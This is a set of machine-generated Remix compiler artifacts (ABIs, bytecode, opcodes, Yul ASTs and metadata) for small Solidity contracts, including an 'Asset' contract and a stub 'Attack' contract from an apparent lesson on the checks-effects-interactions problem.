"nodeType": "YulFunctionCall", | |
"src": "403:14:1" | |
}, | |
{ | |
"name": "_1", | |
"nodeType": "YulIdentifier", | |
"src": "419:2:1" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "399:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "399:23:1" | |
} | |
], | |
"functionName": { | |
"name": "mload", | |
"nodeType": "YulIdentifier", | |
"src": "393:5:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "393:30:1" | |
} | |
], | |
"functionName": { | |
"name": "mstore", | |
"nodeType": "YulIdentifier", | |
"src": "358:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "358:66:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "358:66:1" | |
} | |
] | |
}, | |
"condition": { | |
"arguments": [ | |
{ | |
"name": "i", | |
"nodeType": "YulIdentifier", | |
"src": "305:1:1" | |
}, | |
{ | |
"name": "length", | |
"nodeType": "YulIdentifier", | |
"src": "308:6:1" | |
} | |
], | |
"functionName": { | |
"name": "lt", | |
"nodeType": "YulIdentifier", | |
"src": "302:2:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "302:13:1" | |
}, | |
"nodeType": "YulForLoop", | |
"post": { | |
"nodeType": "YulBlock", | |
"src": "316:19:1", | |
"statements": [ | |
{ | |
"nodeType": "YulAssignment", | |
"src": "318:15:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "i", | |
"nodeType": "YulIdentifier", | |
"src": "327:1:1" | |
}, | |
{ | |
"name": "_1", | |
"nodeType": "YulIdentifier", | |
"src": "330:2:1" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "323:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "323:10:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "i", | |
"nodeType": "YulIdentifier", | |
"src": "318:1:1" | |
} | |
] | |
} | |
] | |
}, | |
"pre": { | |
"nodeType": "YulBlock", | |
"src": "298:3:1", | |
"statements": [] | |
}, | |
"src": "294:140:1" | |
}, | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"name": "headStart", | |
"nodeType": "YulIdentifier", | |
"src": "458:9:1" | |
}, | |
{ | |
"name": "length", | |
"nodeType": "YulIdentifier", | |
"src": "469:6:1" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "454:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "454:22:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "478:2:1", | |
"type": "", | |
"value": "64" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "450:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "450:31:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "483:1:1", | |
"type": "", | |
"value": "0" | |
} | |
], | |
"functionName": { | |
"name": "mstore", | |
"nodeType": "YulIdentifier", | |
"src": "443:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "443:42:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "443:42:1" | |
}, | |
{ | |
"nodeType": "YulAssignment", | |
"src": "494:62:1", | |
"value": { | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"name": "headStart", | |
"nodeType": "YulIdentifier", | |
"src": "510:9:1" | |
}, | |
{ | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"name": "length", | |
"nodeType": "YulIdentifier", | |
"src": "529:6:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "537:2:1", | |
"type": "", | |
"value": "31" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "525:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "525:15:1" | |
}, | |
{ | |
"arguments": [ | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "546:2:1", | |
"type": "", | |
"value": "31" | |
} | |
], | |
"functionName": { | |
"name": "not", | |
"nodeType": "YulIdentifier", | |
"src": "542:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "542:7:1" | |
} | |
], | |
"functionName": { | |
"name": "and", | |
"nodeType": "YulIdentifier", | |
"src": "521:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "521:29:1" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "506:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "506:45:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "553:2:1", | |
"type": "", | |
"value": "64" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "502:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "502:54:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "tail", | |
"nodeType": "YulIdentifier", | |
"src": "494:4:1" | |
} | |
] | |
} | |
] | |
}, | |
"name": "abi_encode_tuple_t_string_memory_ptr__to_t_string_memory_ptr__fromStack_reversed", | |
"nodeType": "YulFunctionDefinition", | |
"parameters": [ | |
{ | |
"name": "headStart", | |
"nodeType": "YulTypedName", | |
"src": "104:9:1", | |
"type": "" | |
}, | |
{ | |
"name": "value0", | |
"nodeType": "YulTypedName", | |
"src": "115:6:1", | |
"type": "" | |
} | |
], | |
"returnVariables": [ | |
{ | |
"name": "tail", | |
"nodeType": "YulTypedName", | |
"src": "126:4:1", | |
"type": "" | |
} | |
], | |
"src": "14:548:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "622:325:1", | |
"statements": [ | |
{ | |
"nodeType": "YulAssignment", | |
"src": "632:22:1", | |
"value": { | |
"arguments": [ | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "646:1:1", | |
"type": "", | |
"value": "1" | |
}, | |
{ | |
"name": "data", | |
"nodeType": "YulIdentifier", | |
"src": "649:4:1" | |
} | |
], | |
"functionName": { | |
"name": "shr", | |
"nodeType": "YulIdentifier", | |
"src": "642:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "642:12:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "length", | |
"nodeType": "YulIdentifier", | |
"src": "632:6:1" | |
} | |
] | |
}, | |
{ | |
"nodeType": "YulVariableDeclaration", | |
"src": "663:38:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "data", | |
"nodeType": "YulIdentifier", | |
"src": "693:4:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "699:1:1", | |
"type": "", | |
"value": "1" | |
} | |
], | |
"functionName": { | |
"name": "and", | |
"nodeType": "YulIdentifier", | |
"src": "689:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "689:12:1" | |
}, | |
"variables": [ | |
{ | |
"name": "outOfPlaceEncoding", | |
"nodeType": "YulTypedName", | |
"src": "667:18:1", | |
"type": "" | |
} | |
] | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "740:31:1", | |
"statements": [ | |
{ | |
"nodeType": "YulAssignment", | |
"src": "742:27:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "length", | |
"nodeType": "YulIdentifier", | |
"src": "756:6:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "764:4:1", | |
"type": "", | |
"value": "0x7f" | |
} | |
], | |
"functionName": { | |
"name": "and", | |
"nodeType": "YulIdentifier", | |
"src": "752:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "752:17:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "length", | |
"nodeType": "YulIdentifier", | |
"src": "742:6:1" | |
} | |
] | |
} | |
] | |
}, | |
"condition": { | |
"arguments": [ | |
{ | |
"name": "outOfPlaceEncoding", | |
"nodeType": "YulIdentifier", | |
"src": "720:18:1" | |
} | |
], | |
"functionName": { | |
"name": "iszero", | |
"nodeType": "YulIdentifier", | |
"src": "713:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "713:26:1" | |
}, | |
"nodeType": "YulIf", | |
"src": "710:61:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "830:111:1", | |
"statements": [ | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "851:1:1", | |
"type": "", | |
"value": "0" | |
}, | |
{ | |
"arguments": [ | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "858:3:1", | |
"type": "", | |
"value": "224" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "863:10:1", | |
"type": "", | |
"value": "0x4e487b71" | |
} | |
], | |
"functionName": { | |
"name": "shl", | |
"nodeType": "YulIdentifier", | |
"src": "854:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "854:20:1" | |
} | |
], | |
"functionName": { | |
"name": "mstore", | |
"nodeType": "YulIdentifier", | |
"src": "844:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "844:31:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "844:31:1" | |
}, | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "895:1:1", | |
"type": "", | |
"value": "4" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "898:4:1", | |
"type": "", | |
"value": "0x22" | |
} | |
], | |
"functionName": { | |
"name": "mstore", | |
"nodeType": "YulIdentifier", | |
"src": "888:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "888:15:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "888:15:1" | |
}, | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "923:1:1", | |
"type": "", | |
"value": "0" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "926:4:1", | |
"type": "", | |
"value": "0x24" | |
} | |
], | |
"functionName": { | |
"name": "revert", | |
"nodeType": "YulIdentifier", | |
"src": "916:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "916:15:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "916:15:1" | |
} | |
] | |
}, | |
"condition": { | |
"arguments": [ | |
{ | |
"name": "outOfPlaceEncoding", | |
"nodeType": "YulIdentifier", | |
"src": "786:18:1" | |
}, | |
{ | |
"arguments": [ | |
{ | |
"name": "length", | |
"nodeType": "YulIdentifier", | |
"src": "809:6:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "817:2:1", | |
"type": "", | |
"value": "32" | |
} | |
], | |
"functionName": { | |
"name": "lt", | |
"nodeType": "YulIdentifier", | |
"src": "806:2:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "806:14:1" | |
} | |
], | |
"functionName": { | |
"name": "eq", | |
"nodeType": "YulIdentifier", | |
"src": "783:2:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "783:38:1" | |
}, | |
"nodeType": "YulIf", | |
"src": "780:161:1" | |
} | |
] | |
}, | |
"name": "extract_byte_array_length", | |
"nodeType": "YulFunctionDefinition", | |
"parameters": [ | |
{ | |
"name": "data", | |
"nodeType": "YulTypedName", | |
"src": "602:4:1", | |
"type": "" | |
} | |
], | |
"returnVariables": [ | |
{ | |
"name": "length", | |
"nodeType": "YulTypedName", | |
"src": "611:6:1", | |
"type": "" | |
} | |
], | |
"src": "567:380:1" | |
} | |
] | |
}, | |
"contents": "{\n { }\n function abi_encode_tuple_t_string_memory_ptr__to_t_string_memory_ptr__fromStack_reversed(headStart, value0) -> tail\n {\n let _1 := 32\n mstore(headStart, _1)\n let length := mload(value0)\n mstore(add(headStart, _1), length)\n let i := 0\n for { } lt(i, length) { i := add(i, _1) }\n {\n mstore(add(add(headStart, i), 64), mload(add(add(value0, i), _1)))\n }\n mstore(add(add(headStart, length), 64), 0)\n tail := add(add(headStart, and(add(length, 31), not(31))), 64)\n }\n function extract_byte_array_length(data) -> length\n {\n length := shr(1, data)\n let outOfPlaceEncoding := and(data, 1)\n if iszero(outOfPlaceEncoding) { length := and(length, 0x7f) }\n if eq(outOfPlaceEncoding, lt(length, 32))\n {\n mstore(0, shl(224, 0x4e487b71))\n mstore(4, 0x22)\n revert(0, 0x24)\n }\n }\n}", | |
"id": 1, | |
"language": "Yul", | |
"name": "#utility.yul" | |
} | |
], | |
"immutableReferences": {}, | |
"linkReferences": {}, | |
"object": "608060405234801561000f575f80fd5b5060043610610029575f3560e01c806306fdde031461002d575b5f80fd5b61003561004b565b60405161004291906100d6565b60405180910390f35b5f805461005790610121565b80601f016020809104026020016040519081016040528092919081815260200182805461008390610121565b80156100ce5780601f106100a5576101008083540402835291602001916100ce565b820191905f5260205f20905b8154815290600101906020018083116100b157829003601f168201915b505050505081565b5f6020808352835180828501525f5b81811015610101578581018301518582016040015282016100e5565b505f604082860101526040601f19601f8301168501019250505092915050565b600181811c9082168061013557607f821691505b60208210810361015357634e487b7160e01b5f52602260045260245ffd5b5091905056fea2646970667358221220789e205b9ce7f18f9920b3f449edea3f2fac4a3fe3c396cbea0e9a07a6a9a17d64736f6c63430008140033", | |
"opcodes": "PUSH1 0x80 PUSH1 0x40 MSTORE CALLVALUE DUP1 ISZERO PUSH2 0xF JUMPI PUSH0 DUP1 REVERT JUMPDEST POP PUSH1 0x4 CALLDATASIZE LT PUSH2 0x29 JUMPI PUSH0 CALLDATALOAD PUSH1 0xE0 SHR DUP1 PUSH4 0x6FDDE03 EQ PUSH2 0x2D JUMPI JUMPDEST PUSH0 DUP1 REVERT JUMPDEST PUSH2 0x35 PUSH2 0x4B JUMP JUMPDEST PUSH1 0x40 MLOAD PUSH2 0x42 SWAP2 SWAP1 PUSH2 0xD6 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST PUSH0 DUP1 SLOAD PUSH2 0x57 SWAP1 PUSH2 0x121 JUMP JUMPDEST DUP1 PUSH1 0x1F ADD PUSH1 0x20 DUP1 SWAP2 DIV MUL PUSH1 0x20 ADD PUSH1 0x40 MLOAD SWAP1 DUP2 ADD PUSH1 0x40 MSTORE DUP1 SWAP3 SWAP2 SWAP1 DUP2 DUP2 MSTORE PUSH1 0x20 ADD DUP3 DUP1 SLOAD PUSH2 0x83 SWAP1 PUSH2 0x121 JUMP JUMPDEST DUP1 ISZERO PUSH2 0xCE JUMPI DUP1 PUSH1 0x1F LT PUSH2 0xA5 JUMPI PUSH2 0x100 DUP1 DUP4 SLOAD DIV MUL DUP4 MSTORE SWAP2 PUSH1 0x20 ADD SWAP2 PUSH2 0xCE JUMP JUMPDEST DUP3 ADD SWAP2 SWAP1 PUSH0 MSTORE PUSH1 0x20 PUSH0 KECCAK256 SWAP1 JUMPDEST DUP2 SLOAD DUP2 MSTORE SWAP1 PUSH1 0x1 ADD SWAP1 PUSH1 0x20 ADD DUP1 DUP4 GT PUSH2 0xB1 JUMPI DUP3 SWAP1 SUB PUSH1 0x1F AND DUP3 ADD SWAP2 JUMPDEST POP POP POP POP POP DUP2 JUMP JUMPDEST PUSH0 PUSH1 0x20 DUP1 DUP4 MSTORE DUP4 MLOAD DUP1 DUP3 DUP6 ADD MSTORE PUSH0 JUMPDEST DUP2 DUP2 LT ISZERO PUSH2 0x101 JUMPI DUP6 DUP2 ADD DUP4 ADD MLOAD DUP6 DUP3 ADD PUSH1 0x40 ADD MSTORE DUP3 ADD PUSH2 0xE5 JUMP JUMPDEST POP PUSH0 PUSH1 0x40 DUP3 DUP7 ADD ADD MSTORE PUSH1 0x40 PUSH1 0x1F NOT PUSH1 0x1F DUP4 ADD AND DUP6 ADD ADD SWAP3 POP POP POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x1 DUP2 DUP2 SHR SWAP1 DUP3 AND DUP1 PUSH2 0x135 JUMPI PUSH1 0x7F DUP3 AND SWAP2 POP JUMPDEST PUSH1 0x20 DUP3 LT DUP2 SUB PUSH2 0x153 JUMPI PUSH4 0x4E487B71 PUSH1 0xE0 SHL PUSH0 MSTORE PUSH1 0x22 PUSH1 0x4 MSTORE PUSH1 0x24 PUSH0 REVERT JUMPDEST POP SWAP2 SWAP1 POP JUMP INVALID LOG2 PUSH5 0x6970667358 0x22 SLT KECCAK256 PUSH25 0x9E205B9CE7F18F9920B3F449EDEA3F2FAC4A3FE3C396CBEA0E SWAP11 SMOD 0xA6 0xA9 LOG1 PUSH30 0x64736F6C6343000814003300000000000000000000000000000000000000 ", | |
"sourceMap": "267:115:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;289:18;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:380::-;646:1;642:12;;;;689;;;710:61;;764:4;756:6;752:17;742:27;;710:61;817:2;809:6;806:14;786:18;783:38;780:161;;863:10;858:3;854:20;851:1;844:31;898:4;895:1;888:15;926:4;923:1;916:15;780:161;;567:380;;;:::o" | |
}, | |
"gasEstimates": { | |
"creation": { | |
"codeDepositCost": "79800", | |
"executionCost": "infinite", | |
"totalCost": "infinite" | |
}, | |
"external": { | |
"name()": "infinite" | |
} | |
}, | |
"methodIdentifiers": { | |
"name()": "06fdde03" | |
} | |
}, | |
"abi": [ | |
{ | |
"inputs": [ | |
{ | |
"internalType": "string", | |
"name": "_name", | |
"type": "string" | |
} | |
], | |
"stateMutability": "nonpayable", | |
"type": "constructor" | |
}, | |
{ | |
"inputs": [], | |
"name": "name", | |
"outputs": [ | |
{ | |
"internalType": "string", | |
"name": "", | |
"type": "string" | |
} | |
], | |
"stateMutability": "view", | |
"type": "function" | |
} | |
] | |
} |
{ | |
"compiler": { | |
"version": "0.8.20+commit.a1b79de6" | |
}, | |
"language": "Solidity", | |
"output": { | |
"abi": [ | |
{ | |
"inputs": [ | |
{ | |
"internalType": "string", | |
"name": "_name", | |
"type": "string" | |
} | |
], | |
"stateMutability": "nonpayable", | |
"type": "constructor" | |
}, | |
{ | |
"inputs": [], | |
"name": "name", | |
"outputs": [ | |
{ | |
"internalType": "string", | |
"name": "", | |
"type": "string" | |
} | |
], | |
"stateMutability": "view", | |
"type": "function" | |
} | |
], | |
"devdoc": { | |
"kind": "dev", | |
"methods": {}, | |
"version": 1 | |
}, | |
"userdoc": { | |
"kind": "user", | |
"methods": {}, | |
"version": 1 | |
} | |
}, | |
"settings": { | |
"compilationTarget": { | |
"contracts/Factory.sol": "Asset" | |
}, | |
"evmVersion": "shanghai", | |
"libraries": {}, | |
"metadata": { | |
"bytecodeHash": "ipfs" | |
}, | |
"optimizer": { | |
"enabled": true, | |
"runs": 200 | |
}, | |
"remappings": [] | |
}, | |
"sources": { | |
"contracts/Factory.sol": { | |
"keccak256": "0xa0445f24df6f30ccd3169ac2bd33c9b1288ba5bc9fad8fccade3d5082f5b3aaa", | |
"license": "MIT", | |
"urls": [ | |
"bzz-raw://f9b6aadeef3210587306a74028c58ae2a67bd074a94bd6ed8c3f07d4165c73aa", | |
"dweb:/ipfs/QmUmkEsFMisAiRXZB7fPU8QCJXjkzjKemCiYbYzYPCpAbN" | |
] | |
} | |
}, | |
"version": 1 | |
} |
{ | |
"deploy": { | |
"VM:-": { | |
"linkReferences": {}, | |
"autoDeployLib": true | |
}, | |
"main:1": { | |
"linkReferences": {}, | |
"autoDeployLib": true | |
}, | |
"ropsten:3": { | |
"linkReferences": {}, | |
"autoDeployLib": true | |
}, | |
"rinkeby:4": { | |
"linkReferences": {}, | |
"autoDeployLib": true | |
}, | |
"kovan:42": { | |
"linkReferences": {}, | |
"autoDeployLib": true | |
}, | |
"goerli:5": { | |
"linkReferences": {}, | |
"autoDeployLib": true | |
}, | |
"Custom": { | |
"linkReferences": {}, | |
"autoDeployLib": true | |
} | |
}, | |
"data": { | |
"bytecode": { | |
"functionDebugData": {}, | |
"generatedSources": [], | |
"linkReferences": {}, | |
"object": "6080604052348015600e575f80fd5b50605480601a5f395ff3fe6080604052348015600e575f80fd5b5060043610601c575f3560e01c5b00fea2646970667358221220101e4ae57494b56d86b3ed8115fad503fde21b1ba8ce3345dc9df6abe7836f6364736f6c63430008140033", | |
"opcodes": "PUSH1 0x80 PUSH1 0x40 MSTORE CALLVALUE DUP1 ISZERO PUSH1 0xE JUMPI PUSH0 DUP1 REVERT JUMPDEST POP PUSH1 0x54 DUP1 PUSH1 0x1A PUSH0 CODECOPY PUSH0 RETURN INVALID PUSH1 0x80 PUSH1 0x40 MSTORE CALLVALUE DUP1 ISZERO PUSH1 0xE JUMPI PUSH0 DUP1 REVERT JUMPDEST POP PUSH1 0x4 CALLDATASIZE LT PUSH1 0x1C JUMPI PUSH0 CALLDATALOAD PUSH1 0xE0 SHR JUMPDEST STOP INVALID LOG2 PUSH5 0x6970667358 0x22 SLT KECCAK256 LT 0x1E 0x4A 0xE5 PUSH21 0x94B56D86B3ED8115FAD503FDE21B1BA8CE3345DC9D 0xF6 0xAB 0xE7 DUP4 PUSH16 0x6364736F6C6343000814003300000000 ", | |
"sourceMap": "743:212:0:-:0;;;;;;;;;;;;;;;;;;;" | |
}, | |
"deployedBytecode": { | |
"functionDebugData": { | |
"@_80": { | |
"entryPoint": null, | |
"id": 80, | |
"parameterSlots": 0, | |
"returnSlots": 0 | |
}, | |
"@attack_84": { | |
"entryPoint": null, | |
"id": 84, | |
"parameterSlots": 0, | |
"returnSlots": 0 | |
} | |
}, | |
"generatedSources": [], | |
"immutableReferences": {}, | |
"linkReferences": {}, | |
"object": "6080604052348015600e575f80fd5b5060043610601c575f3560e01c5b00fea2646970667358221220101e4ae57494b56d86b3ed8115fad503fde21b1ba8ce3345dc9df6abe7836f6364736f6c63430008140033", | |
"opcodes": "PUSH1 0x80 PUSH1 0x40 MSTORE CALLVALUE DUP1 ISZERO PUSH1 0xE JUMPI PUSH0 DUP1 REVERT JUMPDEST POP PUSH1 0x4 CALLDATASIZE LT PUSH1 0x1C JUMPI PUSH0 CALLDATALOAD PUSH1 0xE0 SHR JUMPDEST STOP INVALID LOG2 PUSH5 0x6970667358 0x22 SLT KECCAK256 LT 0x1E 0x4A 0xE5 PUSH21 0x94B56D86B3ED8115FAD503FDE21B1BA8CE3345DC9D 0xF6 0xAB 0xE7 DUP4 PUSH16 0x6364736F6C6343000814003300000000 ", | |
"sourceMap": "743:212:0:-:0;;;;;;;;;;;;;;;;;;;;;;;" | |
}, | |
"gasEstimates": { | |
"creation": { | |
"codeDepositCost": "16800", | |
"executionCost": "67", | |
"totalCost": "16867" | |
}, | |
"external": { | |
"": "75", | |
"attack()": "75" | |
} | |
}, | |
"methodIdentifiers": { | |
"attack()": "9e5faafc" | |
} | |
}, | |
"abi": [ | |
{ | |
"stateMutability": "nonpayable", | |
"type": "fallback" | |
}, | |
{ | |
"inputs": [], | |
"name": "attack", | |
"outputs": [], | |
"stateMutability": "nonpayable", | |
"type": "function" | |
} | |
] | |
} |
{ | |
"compiler": { | |
"version": "0.8.20+commit.a1b79de6" | |
}, | |
"language": "Solidity", | |
"output": { | |
"abi": [ | |
{ | |
"stateMutability": "nonpayable", | |
"type": "fallback" | |
}, | |
{ | |
"inputs": [], | |
"name": "attack", | |
"outputs": [], | |
"stateMutability": "nonpayable", | |
"type": "function" | |
} | |
], | |
"devdoc": { | |
"kind": "dev", | |
"methods": {}, | |
"version": 1 | |
}, | |
"userdoc": { | |
"kind": "user", | |
"methods": {}, | |
"version": 1 | |
} | |
}, | |
"settings": { | |
"compilationTarget": { | |
"contracts/37_CEIProblem.sol": "Attack" | |
}, | |
"evmVersion": "shanghai", | |
"libraries": {}, | |
"metadata": { | |
"bytecodeHash": "ipfs" | |
}, | |
"optimizer": { | |
"enabled": true, | |
"runs": 200 | |
}, | |
"remappings": [] | |
}, | |
"sources": { | |
"contracts/37_CEIProblem.sol": { | |
"keccak256": "0x7380480cad1843c90b3aaeeb7987c9c9f29017b64bd7af43f7d62a358b785dd4", | |
"license": "MIT", | |
"urls": [ | |
"bzz-raw://a42574f7e627816bdfe417493dbd8861b7c885db65d909ac8f335cdc0ee82d7f", | |
"dweb:/ipfs/QmYmrkzRAPbYQ7dJuSLeHYddMP1Yx36F6eRCwVtEJvjK6Y" | |
] | |
} | |
}, | |
"version": 1 | |
} |
{ | |
"deploy": { | |
"VM:-": { | |
"linkReferences": {}, | |
"autoDeployLib": true | |
}, | |
"main:1": { | |
"linkReferences": {}, | |
"autoDeployLib": true | |
}, | |
"ropsten:3": { | |
"linkReferences": {}, | |
"autoDeployLib": true | |
}, | |
"rinkeby:4": { | |
"linkReferences": {}, | |
"autoDeployLib": true | |
}, | |
"kovan:42": { | |
"linkReferences": {}, | |
"autoDeployLib": true | |
}, | |
"goerli:5": { | |
"linkReferences": {}, | |
"autoDeployLib": true | |
}, | |
"Custom": { | |
"linkReferences": {}, | |
"autoDeployLib": true | |
} | |
}, | |
"data": { | |
"bytecode": { | |
"functionDebugData": { | |
"@_50": { | |
"entryPoint": null, | |
"id": 50, | |
"parameterSlots": 1, | |
"returnSlots": 0 | |
}, | |
"abi_decode_t_address_fromMemory": { | |
"entryPoint": 192, | |
"id": null, | |
"parameterSlots": 2, | |
"returnSlots": 1 | |
}, | |
"abi_decode_tuple_t_address_fromMemory": { | |
"entryPoint": 212, | |
"id": null, | |
"parameterSlots": 2, | |
"returnSlots": 1 | |
}, | |
"allocate_unbounded": { | |
"entryPoint": null, | |
"id": null, | |
"parameterSlots": 0, | |
"returnSlots": 1 | |
}, | |
"cleanup_t_address": { | |
"entryPoint": 153, | |
"id": null, | |
"parameterSlots": 1, | |
"returnSlots": 1 | |
}, | |
"cleanup_t_uint160": { | |
"entryPoint": 122, | |
"id": null, | |
"parameterSlots": 1, | |
"returnSlots": 1 | |
}, | |
"revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db": { | |
"entryPoint": null, | |
"id": null, | |
"parameterSlots": 0, | |
"returnSlots": 0 | |
}, | |
"revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b": { | |
"entryPoint": 118, | |
"id": null, | |
"parameterSlots": 0, | |
"returnSlots": 0 | |
}, | |
"validator_revert_t_address": { | |
"entryPoint": 170, | |
"id": null, | |
"parameterSlots": 1, | |
"returnSlots": 0 | |
} | |
}, | |
"generatedSources": [ | |
{ | |
"ast": { | |
"nodeType": "YulBlock", | |
"src": "0:1199:1", | |
"statements": [ | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "47:35:1", | |
"statements": [ | |
{ | |
"nodeType": "YulAssignment", | |
"src": "57:19:1", | |
"value": { | |
"arguments": [ | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "73:2:1", | |
"type": "", | |
"value": "64" | |
} | |
], | |
"functionName": { | |
"name": "mload", | |
"nodeType": "YulIdentifier", | |
"src": "67:5:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "67:9:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "memPtr", | |
"nodeType": "YulIdentifier", | |
"src": "57:6:1" | |
} | |
] | |
} | |
] | |
}, | |
"name": "allocate_unbounded", | |
"nodeType": "YulFunctionDefinition", | |
"returnVariables": [ | |
{ | |
"name": "memPtr", | |
"nodeType": "YulTypedName", | |
"src": "40:6:1", | |
"type": "" | |
} | |
], | |
"src": "7:75:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "177:28:1", | |
"statements": [ | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "194:1:1", | |
"type": "", | |
"value": "0" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "197:1:1", | |
"type": "", | |
"value": "0" | |
} | |
], | |
"functionName": { | |
"name": "revert", | |
"nodeType": "YulIdentifier", | |
"src": "187:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "187:12:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "187:12:1" | |
} | |
] | |
}, | |
"name": "revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b", | |
"nodeType": "YulFunctionDefinition", | |
"src": "88:117:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "300:28:1", | |
"statements": [ | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "317:1:1", | |
"type": "", | |
"value": "0" | |
}, | |
{ | |
"kind": "number", | |
